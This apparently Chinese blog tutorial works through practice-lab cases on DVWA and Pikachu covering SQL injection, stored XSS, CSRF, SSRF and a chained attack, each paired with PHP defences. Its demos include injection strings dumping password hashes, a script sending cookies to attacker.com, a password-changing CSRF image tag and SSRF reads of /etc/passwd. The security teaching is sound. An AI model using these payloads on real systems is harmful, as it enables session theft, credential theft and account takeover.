别再死记硬背了!用这5个真实靶场案例,彻底搞懂SQL注入、XSS、CSRF的实战防御
2026/6/10 5:01:06 网站建设 项目流程

5个真实靶场案例:从SQL注入到CSRF的实战攻防演练

在网络安全领域,理论知识固然重要,但真正能让你快速成长的永远是实战经验。本文将带你通过DVWA、Pikachu等常见靶场中的5个典型案例,深入理解SQL注入、XSS、CSRF等常见漏洞的攻击原理与防御方法。每个案例都包含完整的攻击流程演示和代码级防御方案,让你在动手实践中掌握Web安全的核心技能。

1. DVWA靶场中的SQL注入攻击与防御

SQL注入是Web安全领域最经典的漏洞之一,我们以DVWA(Damn Vulnerable Web Application)靶场的"SQL Injection"模块为例,演示完整的攻击与防御过程。

1.1 攻击演示:从基础注入到获取管理员权限

首先将DVWA安全级别设置为"Low",进入SQL Injection页面。尝试在用户ID输入框中输入:

1' or '1'='1

这会返回所有用户信息,因为构造的SQL语句变成了:

SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

更危险的攻击是获取数据库信息。输入:

1' union select 1,concat(user,':',password) from mysql.user#

这将显示MySQL用户及其密码哈希。在DVWA中,我们还可以直接获取管理员密码:

1' union select 1,concat(user_id,':',first_name,':',last_name,':',password) from users#

1.2 防御方案:PHP中的参数化查询

防御SQL注入最有效的方法是使用参数化查询(预编译语句)。以下是PHP中使用PDO的示例:

<?php $pdo = new PDO('mysql:host=localhost;dbname=dvwa', 'root', ''); $stmt = $pdo->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id'); $stmt->execute(['id' => $_GET['id']]); $results = $stmt->fetchAll(PDO::FETCH_ASSOC); ?>

关键防御措施:

  • 永远不要拼接SQL语句
  • 对数字型参数进行类型转换
  • 最小化数据库账户权限
  • 关闭错误回显

提示:即使是参数化查询,也需要注意存储过程的动态SQL可能存在的注入风险。

2. Pikachu靶场中的存储型XSS攻击与防御

跨站脚本攻击(XSS)允许攻击者在受害者浏览器中执行恶意JavaScript代码。我们以Pikachu靶场的"存储型XSS"为例。

2.1 攻击演示:窃取用户Cookie

在留言板中输入以下内容:

<script> var img = new Image(); img.src = "http://attacker.com/steal.php?cookie="+document.cookie; </script>

当其他用户访问留言板时,他们的Cookie会被自动发送到攻击者的服务器。获取Cookie后,攻击者可以直接冒充用户身份登录。

2.2 防御方案:输入过滤与输出编码

完整的XSS防御需要多层面措施:

  1. 输入过滤(白名单原则):
$clean = preg_replace('/[^a-zA-Z0-9\s]/', '', $input);
  1. 输出编码
htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
  1. 设置HttpOnly Cookie
setcookie('sessionid', 'value', 0, '/', '', true, true); // 最后一个参数true表示HttpOnly
  1. 内容安全策略(CSP)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

3. DVWA中的CSRF攻击与防御

跨站请求伪造(CSRF)诱使用户在不知情的情况下提交恶意请求。我们以DVWA的"CSRF"模块为例。

3.1 攻击演示:诱骗用户修改密码

构造一个恶意页面csrf.html:

<img src="http://dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" width="0" height="0">

当已登录DVWA的用户访问此页面时,密码会被悄无声息地修改为"hacked"。

3.2 防御方案:CSRF Token实现

最有效的CSRF防御是使用一次性Token:

  1. 服务端生成Token并存入Session:
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
  1. 表单中包含Token:
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
  1. 验证Token:
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) { die("CSRF token validation failed"); }

其他防御措施:

  • 检查Origin/Referer头部
  • 关键操作要求二次认证
  • SameSite Cookie属性

4. Pikachu中的SSRF攻击与防御

服务器端请求伪造(SSRF)允许攻击者通过服务器发起任意请求。我们以Pikachu的"SSRF"模块为例。

4.1 攻击演示:访问内网资源

在URL输入框中尝试访问本地文件:

file:///etc/passwd

或者探测内网服务:

http://127.0.0.1:3306

4.2 防御方案:请求过滤与网络隔离

SSRF防御策略:

  1. 输入验证
$url = parse_url($_GET['url']); if (!in_array($url['host'], ['example.com', 'cdn.example.com'])) { die("Invalid host"); }
  1. 禁用危险协议
if (in_array($url['scheme'], ['file', 'gopher', 'ftp'])) { die("Protocol not allowed"); }
  1. 网络层防护
  • 应用服务器部署在独立网络区域
  • 限制出站连接
  • 使用跳板机访问内部资源

5. 综合案例:从XSS到CSRF的链式攻击

真实攻击往往组合多种漏洞。我们模拟一个场景:

  1. 攻击者发现网站存在存储型XSS漏洞
  2. 注入恶意脚本窃取用户CSRF Token
  3. 使用窃取的Token构造CSRF请求
  4. 诱骗管理员访问恶意页面完成攻击

防御这种链式攻击需要:

  • 实施深度防御策略
  • 关键操作要求二次认证
  • 定期安全审计
  • 建立漏洞响应机制

靶场练习进阶建议

  1. 尝试不同安全级别:在DVWA中从Low到High逐步提升难度
  2. 组合漏洞利用:尝试XSS+CSRF、SQL注入+文件包含等组合攻击
  3. 编写自动化脚本:使用Python实现自动化漏洞检测
  4. 代码审计练习:下载靶场源码,分析漏洞产生原因
  5. 自定义防御方案:修改靶场代码实现更安全的版本

Web安全是攻防对抗的过程,只有真正理解攻击者的思维方式,才能构建更强大的防御体系。建议每周在靶场中进行至少2小时的实战练习,持续提升安全技能。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询